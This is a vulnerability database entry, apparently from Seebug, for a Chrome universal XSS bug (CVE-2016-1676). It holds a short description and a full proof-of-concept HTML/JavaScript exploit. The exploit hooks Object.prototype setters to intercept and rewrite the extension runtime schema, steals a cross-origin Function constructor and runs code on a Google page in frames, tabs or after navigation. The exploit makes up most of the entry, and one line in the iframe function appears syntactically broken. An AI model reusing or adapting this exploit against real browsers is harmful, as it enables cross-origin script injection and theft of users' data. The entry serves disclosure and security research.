Lucene search

K
seebugRootSSV:97111
HistoryJan 29, 2018 - 12:00 a.m.

chrome:Persistent UXSS via SchemaRegistry(CVE-2016-1676)

2018-01-2900:00:00
Root
www.seebug.org
42

0.015 Low

EPSS

Percentile

86.9%

Chrome version: 50.0.2661.75 (and still present on current HEAD, 52.0.2713.0)

The SchemaRegistry stores extension API schemas in a single v8::Context that lives until the RenderThread (=process?) is destroyed. Due to vulnerabilities in binding.js, these objects can be intercepted by malicious web pages. Since the object is persistent, this allows attackers to perform universal XSS in all frames and tabs that share this RenderThread (=process?).

See the attached proof of concept that shows an alert dialog on encrypted.google.com (in a frame, same tab or new tab).

The only requirements for exploitation are:

  1. User should load attacker’s page (e.g. via an advert in a frame).
  2. The victim page (or a content script) accesses a property of the “chrome” object. In my exploit, I only hooked “chrome.runtime”, but the method can be applied to any Chrome API.
  3. The target page is loaded in the same process (e.g. by loading the victim pages in a frame, or by following links).

Clearly, this is easy to exploit so it should be fixed ASAP.


                                                <html>

<body>
  <script>
    function mutateSchema(schema) {
      var $Object = schema.constructor
      var $Function = $Object.constructor
      // If this assumption does not hold, then we have to do a bit more trickery with getters
      // so that the availability check in binding.js (addProperties) passes.
      console.assert(
        'lastError' in schema.properties,
        'Assuming that schema is runtime, and runtime.lastError is defined'
      )
      // Any code in this Function runs in the singleton execution environment that persists across page loads.
      $Function(
        'schema_dot_properties',
        `
            // This must be a property that passes GetAvailability(schema.namespace + "." + propertyName).
            // Luckily, we can recursively the same property name because the namespace is concatenated
            // with the property name, not the full object path.
            // So we can have something like runtime.lastError.lastError :)
            const WHITELISTED_PROP = 'lastError';
            schema_dot_properties[WHITELISTED_PROP] = {
                type: 'object',
                // This activates the branch that ultimately leaks an object from the page to our script.
                // We can then steal the Function constructor from that object and then run arbitrary code
                // through that.
                properties: {
                    [WHITELISTED_PROP]: {
                        $ref: 'StorageArea',
                        value: [],
                    },
                },
                get value() {
                    // Create a new one upon access to make sure that every page gets a
                    // new instance of the interceptor.
                    return new Proxy({}, {
                        set(target, propname, value, receiver) {
                            target[propname] = value;
                            if (propname === WHITELISTED_PROP && typeof value === 'object' && value !== null) {
                                // Yay, we now got a (possibly) cross-origin object.
                                var $$Function = value.constructor.constructor;
                                $$Function('alert("Hello " + document.URL + "  in " + navigator.userAgent)')();
                            }
                            return true;
                        },
                    });
                },
            };
            `
      )(schema.properties)
      schema.types.unshift({
        id: 'StorageArea',
        type: 'object',
        js_module: 'StorageArea',
        functions: []
      })
      console.log('Overwritten scheme.')
    }

    // Call this function to leak the module.
    function triggerSchemaModification() {
      // Once per page because the exploit hooks on the lazy initialization of chrome.runtime,
      // and after initializing it, it won't trigger again.
      if (triggerSchemaModification.runOncePerPageLoad) return
      triggerSchemaModification.runOncePerPageLoad = true
      var hooked = false
      var intercepted = false
      var runtimeintercepted = false
      var alreadyintercepted = false
      // Hook on the creation of Binding and modify the schema.
      //
      // function Binding(schema) {
      //   this.schema_ = schema;
      //   this.apiFunctions_ = new APIFunctions(schema.namespace);
      //   this.customEvent_ = null;
      //   this.customHooks_ = []; <------------ Hooking here.
      // };
      Object.defineProperty(Object.prototype, 'customHooks_', {
        configurable: true,
        get() {
          // customHooks_ has no value by default.
        },
        set(customHooks_) {
          if (customHooks_ === true) return // Ignore devtools setter.

          var runHooks_ = this.runHooks_
          console.assert(
            typeof runHooks_ === 'function',
            'runHooks_ should be a function!'
          )

          Object.defineProperties(this, {
            // Transparently assign the unavailableApiFunctions_, so that the behavior of
            // binding does not change unexpectedly.
            customHooks_: {
              configurable: true,
              writable: true,
              enumerable: true,
              value: customHooks_
            },
            // This is our evil stuff. The runHooks_ method gets a reference to the schema.
            runHooks_: {
              enumerable: true,
              get() {
                hooked = true
                return function(mod, schema) {
                  intercepted = true
                  if (!schema) {
                    // For Chrome 49-.
                    schema = this.schema_
                  }
                  if (schema.namespace === 'runtime' && schema.types) {
                    runtimeintercepted = true
                    if (schema.types[0].id === 'StorageArea') {
                      console.log('Warning: Schema was already modified.')
                      alreadyintercepted = true
                    } else {
                      console.log('Trying to overwrite scheme...')
                      mutateSchema(schema)
                    }
                  }
                  return runHooks_.call(this, mod, schema)
                }
              }
            }
          })
        }
      })

      // Trigger the lazy module system.
      chrome.runtime
      if (alreadyintercepted) return // This is fine, no need to check assertions.
      console.assert(hooked, 'hook should have been set up.')
      console.assert(intercepted, 'hook should have been called.')
      console.assert(
        runtimeintercepted,
        'hook should have been called for the runtime schema'
      )
    }

    function showUXSSAfterNavigation() {
      triggerSchemaModification()
      location.href = 'https://encrypted.google.com'
    }

    function showUXSSInNewTab() {
      triggerSchemaModification()
      window.open('https://encrypted.google.com')
    }

    function showUXSSInFrame() {
      triggerSchemaModification()
      var f = document.createElement('iframe')
      // Using data URLs in case google uses X-Frame-Options.
      f.src = 'data:text/html,<script>chrome.runtime;</script>data-URLs have a unique origin' document.body.appendChild(f)
    }
  </script>

  The UXSS vulnerability persists until the current RenderThread is destroyed (e.g. by a process swap).
  <br>
  <button onclick="showUXSSAfterNavigation()">Show UXSS after navigation</button>
  <button onclick="showUXSSInNewTab()">Show UXSS in new tab</button>
  <button onclick="showUXSSInFrame()">Show UXSS in frame</button>
</body>

</html>